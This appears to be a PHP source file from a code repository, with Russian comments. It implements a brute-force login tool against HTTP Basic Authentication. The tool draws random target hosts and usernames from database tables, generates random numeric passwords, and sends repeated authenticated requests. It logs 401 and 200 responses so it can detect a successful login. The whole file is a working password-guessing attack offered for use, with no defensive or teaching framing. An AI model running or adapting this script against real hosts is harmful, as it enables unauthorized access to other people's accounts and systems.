core/parcer/brut2.php

116 lines
4.2 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?php
$_SERVER['SERVER_NAME']='tk-ligat.ru';
require_once('/home/cloud/core/set/tk-ligat.ru.php');
require_once('/home/cloud/core/api/php/db.php');
require_once('/home/cloud/core/api/php/json.php');
//генерируем случайный набор символов случайной длины
function gen_random($minlen, $maxlen){
//делаем случайную длину
$len=rand($minlen, $maxlen);
$arr = array(
//'!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '{', '}', '[', ']', '+', '?','|',
//'А', 'Б', 'В', 'Г', 'Д', 'Е', 'Ё', 'Ж', 'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р', 'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я',
//'а', 'б', 'в', 'г', 'д', 'е', 'ё', 'х', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я',
//'A', 'B', 'C', 'D', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z',
//'a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','r','s','t','u','v','x','y','z',
'1','2','3','4','5','6','7','8','9','0');
$pass = "";
for($i = 0; $i < $len; $i++){
$index = rand(0, count($arr) - 1);
$pass .= $arr[$index];}
return $pass;
}
/* ищет str в txt если находит, возвращает единичку */
function findtxt($txt, $str){
$pos1 = stripos($txt, $str);
if ($pos1 === false) return 0;
else
return 1;
}
function brut($login='admin', $pwd=123, $host='localhost'){
$url = $host; // url, на который отправляется запрос
/* $post_data = [ // поля нашего запроса
'field1' => 'val_1',
'field2' => 'val_2',
];
*/
$headers = [
"Authorization: Basic " . base64_encode($login . ":" . $pwd) . "\r\n"
]; // заголовки запроса
$post_data = http_build_query($post_data);
$curl = curl_init();
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 120);
curl_setopt($curl, CURLOPT_TIMEOUT, 120); //timeout in seconds
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_VERBOSE, 1);
//curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос
$result = trim(curl_exec($curl));
$http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE);
echo $http_code . "\n";
$res['http']=$http_code;
//echo $http_code;
if (findtxt($http_code, '401')==1) $res['res']='bad';
if (findtxt($http_code, '200')==1) $res['res']='good';
curl_close($curl);
return $res;
//if ($result=='Unauthorized') return 'bad'; else return 'good';
}
for($i = 0; $i < 500; $i++){
$password = gen_random(7, 9);
//Берем рандомный хост
$host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND() LIMIT 1');
//Берем рандомный login
$login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND() LIMIT 1');
//узнаем буртили ли такой пароль...
//$id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password);
//if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password)));
//Проверяем осмысленность действий
$check200=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `code`=?", array($host, '200'));
if ($check200)break;
$id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=? AND `code`=?", array($host, $login, $password, '401'));
if (!$id){
$res=brut($login, $password, $host);
echo $res['http'] . "\n";
if (strlen($res['http'])==3)DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `code`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http']));
}
unset($id);
sleep(5);
}
DB::set("DELETE FROM `brut_bad_pwd` WHERE `code`='400'");
?>